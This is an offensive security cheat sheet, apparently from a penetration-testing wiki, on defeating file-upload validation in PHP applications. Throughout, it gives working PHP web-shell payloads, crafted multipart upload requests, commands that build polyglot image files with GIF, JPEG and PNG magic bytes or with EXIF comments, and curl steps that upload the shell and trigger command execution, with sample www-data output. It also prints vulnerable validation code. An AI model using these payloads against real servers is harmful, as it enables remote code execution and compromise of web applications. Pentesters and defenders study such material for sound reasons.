Content-Type bypass
Two content validations: HTTP header (client-controlled) and magic-byte sniffing (file-content-controlled). Both are bypassable.
# 1. Spoof Content-Type headerContent-Disposition: form-data; name="uploadFile"; filename="shell.phar"Content-Type: image/jpeg # claim it's a JPEG # file content can be pure PHP
<?php system($_GET["cmd"]); ?>
# 2. Bypass magic-byte sniffing - prepend image bytes to PHPGIF8<?php system($_GET["cmd"]); ?> # GIF magic bytes + PHP
# 3. Both together - for layered defensesfilename="shell.phar" + Content-Type: image/gif + body starts "GIF8"Success indicator: file uploads as PHP/script, executes despite content-validation defense.
What content validation does
Section titled “What content validation does”Two distinct checks the application might do:
| Check | Source | Bypass |
|---|---|---|
Content-Type header | The HTTP multipart header on the upload | Edit the request - client-controlled |
| MIME / magic-byte sniffing | First N bytes of the file content | Prepend valid magic bytes to malicious content |
Either check alone is insufficient. Together, they’re harder but still bypassable.
Vulnerable code (header check)
Section titled “Vulnerable code (header check)”$type = $_FILES['uploadFile']['type']; // ← from HTTP header, attacker-controlled
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) { echo "Only images allowed"; die();}The $_FILES['uploadFile']['type'] value is taken from the HTTP Content-Type header in the multipart body - set by the browser based on the file extension, fully attacker-controllable in a manual upload.
Vulnerable code (sniff check)
Section titled “Vulnerable code (sniff check)”$type = mime_content_type($_FILES['uploadFile']['tmp_name']); // ← reads file content
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) { echo "Only images allowed"; die();}mime_content_type() and finfo_file() look at the file’s actual bytes - specifically the first few bytes (magic bytes). The Content-Type header is ignored. Bypass by manipulating the file content itself.
Method 1 - Content-Type header spoofing
Section titled “Method 1 - Content-Type header spoofing”The cheapest bypass. The HTTP Content-Type in the multipart body is whatever the client sends - change it in Burp:
POST /upload.php HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="uploadFile"; filename="shell.phar"Content-Type: image/jpeg ← changed from application/x-php
<?php system($_GET["cmd"]); ?>-----X--The application reads image/jpeg from this header, passes its allowlist, accepts the file. The content is still PHP. RCE.
Common image Content-Types to spoof
Section titled “Common image Content-Types to spoof”image/jpegimage/jpgimage/pngimage/gifimage/webpimage/svg+xmlimage/bmpimage/tiffA more comprehensive list:
# SecLists Content-Type wordlist/opt/useful/SecLists/Miscellaneous/web/content-type.txtFilter to image types for upload-validation fuzzing:
grep "image/" /opt/useful/SecLists/Miscellaneous/web/content-type.txt > /tmp/image-content-types.txtTwo Content-Type headers in the request
Section titled “Two Content-Type headers in the request”A multipart upload has two Content-Type headers:
POST /upload.php HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=---X ← outer (the request itself)
-----XContent-Disposition: form-data; name="uploadFile"; filename="shell.phar"Content-Type: image/jpeg ← inner (the uploaded file)
<?php system($_GET["cmd"]); ?>-----X--Don’t touch the outer one - it tells the server how to parse the multipart body and must stay as multipart/form-data; boundary=.... The inner one is the per-file type, the bypass target.
In some upload designs the file goes in the request body directly (not multipart) - then only the outer header exists and that’s what you modify. Test by sending an upload first to see the request shape.
Method 2 - Magic byte prepending
Section titled “Method 2 - Magic byte prepending”When the application uses content sniffing (mime_content_type, finfo, etc.), the Content-Type header bypass alone doesn’t work - the file’s bytes get inspected. The bypass is to make the bytes look like an image.
File magic bytes - the canonical list
Section titled “File magic bytes - the canonical list”The first few bytes of a file identify its type. For images:
| Format | Magic bytes (hex) | Magic bytes (ASCII) |
|---|---|---|
| GIF87a | 47 49 46 38 37 61 | GIF87a |
| GIF89a | 47 49 46 38 39 61 | GIF89a |
| JPEG | FF D8 FF E0 | (non-printable) |
| JPEG (JFIF) | FF D8 FF E0 00 10 4A 46 49 46 | (non-printable) JFIF |
| PNG | 89 50 4E 47 0D 0A 1A 0A | (non-printable) PNG |
| BMP | 42 4D | BM |
| WebP | 52 49 46 46 ?? ?? ?? ?? 57 45 42 50 | RIFF … WEBP |
| TIFF (LE) | 49 49 2A 00 | II* |
| TIFF (BE) | 4D 4D 00 2A | MM* |
GIF is the operator’s favorite - its magic bytes (GIF8) are ASCII printable, can be embedded with a regular echo, and most content sniffers accept any file starting with GIF8 as a GIF.
Crafting the polyglot
Section titled “Crafting the polyglot”A file that’s both a valid image header and valid PHP:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.pharHexdump:
00000000 47 49 46 38 3c 3f 70 68 70 20 73 79 73 74 65 6d |GIF8<?php system|00000010 28 24 5f 47 45 54 5b 22 63 6d 64 22 5d 29 3b 20 |($_GET["cmd"]);|00000020 3f 3e 0a |?>.|mime_content_type("shell.phar") returns image/gif - passes content-sniffing check. The file is still executable as PHP because Apache executes based on extension (.phar), not content.
$ echo 'GIF8' > test.gif$ file test.giftest.gif: GIF image data
$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > test.phar$ file test.phartest.phar: GIF image dataThe file command (and PHP’s content sniffers, which use the same logic) agree it’s a GIF. Apache’s PHP handler doesn’t care about content - it sees .phar and runs as PHP.
JPEG magic bytes (non-ASCII)
Section titled “JPEG magic bytes (non-ASCII)”When GIF is filtered specifically, use JPEG:
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01<?php system($_GET["cmd"]); ?>' > shell.pharOr with Python for cleaner hex construction:
python3 -c "import syssys.stdout.buffer.write(b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01')sys.stdout.buffer.write(b'<?php system(\$_GET[\"cmd\"]); ?>')" > shell.pharPNG magic bytes
Section titled “PNG magic bytes”python3 -c "import syssys.stdout.buffer.write(b'\x89PNG\r\n\x1a\n')sys.stdout.buffer.write(b'<?php system(\$_GET[\"cmd\"]); ?>')" > shell.pharCombining magic bytes + Content-Type header
Section titled “Combining magic bytes + Content-Type header”Apps with both validation layers need both bypasses:
POST /upload.php HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="uploadFile"; filename="shell.phar"Content-Type: image/gif ← header spoof
GIF8 ← magic bytes<?php system($_GET["cmd"]); ?> ← PHP payload-----X--The image/gif header passes the HTTP-header check. The GIF8 prefix passes the content-sniff check. The .phar extension passes the executable-extension whitelist. Apache executes the file as PHP.
Method 3 - EXIF / image-metadata embedding
Section titled “Method 3 - EXIF / image-metadata embedding”For applications that validate even more strictly - running the file through an image decoder to verify it’s a real image - GIF8 alone may fail because the file isn’t a valid GIF (just has the magic bytes).
Embed the PHP code in real image metadata:
# Take a real image, embed PHP in EXIFcp real.jpg shell.pharexiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.pharThe image file is still a valid, decoder-passing JPEG. PHP’s <?php ... ?> block lives inside the EXIF comment. When include() or any PHP execution context runs the file, PHP scans the bytes for <?php tags and executes them.
For the upload-to-RCE path specifically (where the file is executed as PHP based on extension), this approach works even against the strictest content validation:
- Image decoders see a valid JPEG → pass
- Magic-byte sniffers see JPEG bytes → pass
- Content-Type checks see
image/jpeg→ pass - Apache PHP handler sees
.phar→ execute as PHP - PHP parser finds the
<?phpblock inside the EXIF → run it
Other EXIF fields
Section titled “Other EXIF fields”# Different fields that take arbitrary textexiftool -Comment='...' file.jpgexiftool -Artist='...' file.jpgexiftool -ImageDescription='...' file.jpgexiftool -Copyright='...' file.jpgexiftool -Make='...' file.jpgexiftool -UserComment='...' file.jpgWhen the application displays specific EXIF fields, that field is also an XSS vector - see the limited uploads page.
Polyglot images for XSS
Section titled “Polyglot images for XSS”A separate but related technique: an image that’s also a valid HTML/JS file. The same file:
- Displays as an image when loaded via
<img src="..."> - Executes JS when loaded via
<script src="...">
These are constructed with specific byte sequences that satisfy both parsers. Out of scope for the upload-to-RCE path, but worth knowing about for XSS-via-upload scenarios.
Method 4 - Disable content sniffing
Section titled “Method 4 - Disable content sniffing”If the application uses mime_content_type() but the file appears valid, the result depends on what magic database is installed and how it interprets the bytes. Sometimes a file containing both image and PHP markers gets identified as PHP regardless of magic bytes at the start.
Test offline first:
file shell.phar # what the system thinksphp -r 'echo mime_content_type("shell.phar");' # what PHP thinksIf mime_content_type returns the right type (matching your spoofed Content-Type), the upload should pass content validation.
Method 5 - Combining all bypasses
Section titled “Method 5 - Combining all bypasses”The full-stack bypass against a defense with whitelist + Content-Type + magic-byte validation:
POST /upload.php HTTP/1.1Host: target.example.comContent-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="uploadFile"; filename="shell.phar.jpg"Content-Type: image/jpeg
ÿØÿà<?php system($_GET["cmd"]); ?>-----X--What each layer sees:
- Whitelist (regex
^.*\.(jpg|jpeg|png|gif)$) - checks filename ends with.jpg- pass - Content-Type check - sees
image/jpeg- pass - Magic-byte sniff - sees
ÿØÿà(JPEG bytes) - pass - Apache PHP handler (regex
.+\.ph(p|tml|ar)) - sees.pharin filename - execute as PHP - PHP parser - finds
<?phpblock after the JPEG bytes - execute
Five layers, four bypassed simultaneously. The remaining one (Apache PHP handler) is configuration, not validation.
Note the literal newline between the JPEG bytes and <?php. PHP requires <?php to start at column 0 of a line in some configurations - the newline before it ensures this. Without the newline, parsing might fail.
Worked example - full bypass chain
Section titled “Worked example - full bypass chain”A target that combines client-side validation, extension whitelist, Content-Type check, and magic-byte sniffing:
# Step 1 - disable client-side validation in browser inspector# (or just use curl/Burp directly)
# Step 2 - build the polyglotprintf '\xff\xd8\xff\xee\n<?php system($_REQUEST["cmd"]); ?>' > shell.jpg.phar
# Step 3 - upload via curl -b "PHPSESSID=..." \ https://target/upload.php
# Step 4 - verify and triggercurl "https://target/uploads/shell.jpg.phar?cmd=id"# → uid=33(www-data) gid=33(www-data) groups=33(www-data)The ;type=image/jpeg after the filename in curl’s -F flag sets the per-file Content-Type header. Combined with the JPEG magic bytes (\xff\xd8\xff\xee), the .phar extension at the end, and the wrapping double-extension, this bypass passes all common layered validations.
Detection-only payloads
Section titled “Detection-only payloads”A clean confirmation that bypasses are working without committing to a real shell:
# Build a polyglot test payloadprintf 'GIF8<?php echo "POLYGLOT_OK"; ?>' > test.phar
# Upload with full bypass
# Triggercurl "https://target/uploads/test.phar"# If response contains "POLYGLOT_OK" → all bypasses worked, RCE confirmed- The
GIF8magic-byte trick relies on permissive sniffers. Modernmime_content_type()on glibc’s full magic database may reject a file as a valid GIF if the rest of the structure is malformed. The trick works reliably on minimal systems and Docker images; less reliably on full Linux installs with comprehensive magic databases. - EXIF embedding is the strongest content-validation bypass. When the application runs the file through an actual image decoder, the embedded-EXIF approach is the only reliable way through - a real image with PHP hidden in metadata.
- The Apache
.pharexecution behavior is configuration-dependent. Test by uploading a known-PHP file with.pharextension and a known marker to confirm. Some hardened configurations restrict.pharto actual PHP archives. - Content-Type checking is sometimes done on the wrong header. When the application reads
$_FILES['file']['type'], that’s the per-file header. When it reads the Request Content-Type, that’s the outer multipart header (which is alwaysmultipart/form-data; boundary=...for uploads). Confusion in the application code sometimes means the validator looks at a header that doesn’t matter.